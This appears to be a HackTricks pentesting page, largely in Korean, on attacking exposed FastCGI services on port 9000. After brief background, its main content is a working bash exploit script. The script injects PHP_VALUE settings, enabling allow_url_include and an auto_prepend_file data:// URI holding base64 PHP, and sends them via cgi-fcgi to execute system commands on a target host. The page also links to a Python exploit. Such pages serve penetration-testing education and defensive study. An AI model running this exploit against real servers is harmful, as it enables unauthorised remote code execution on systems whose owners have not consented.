hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md

3.6 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

기본 정보

FastCGI가 무엇인지 배우고 싶다면 다음 페이지를 확인하세요:

{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %} disable_functions-bypass-php-fpm-fastcgi.md {% endcontent-ref %}

기본적으로 FastCGI포트 9000에서 실행되며 nmap에 의해 인식되지 않습니다. 보통 FastCGI는 localhost에서만 수신 대기합니다.

RCE

FastCGI가 임의의 코드를 실행하도록 만드는 것은 매우 쉽습니다:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

또는 다음 파이썬 스크립트를 사용할 수도 있습니다: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}